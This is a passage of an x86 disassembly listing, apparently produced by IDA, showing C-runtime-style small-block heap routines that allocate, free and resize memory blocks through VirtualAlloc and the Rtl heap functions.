		mov	dword_4DD380, ecx
		mov	dword_4DD368, 10h
		pop	eax
		retn
sub_41E6CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		call	dword_42714C	; RtlFreeHeap
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		call	dword_4271A0	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		call	dword_427150	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_427064	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		call	dword_42714C	; RtlFreeHeap


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_427064	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
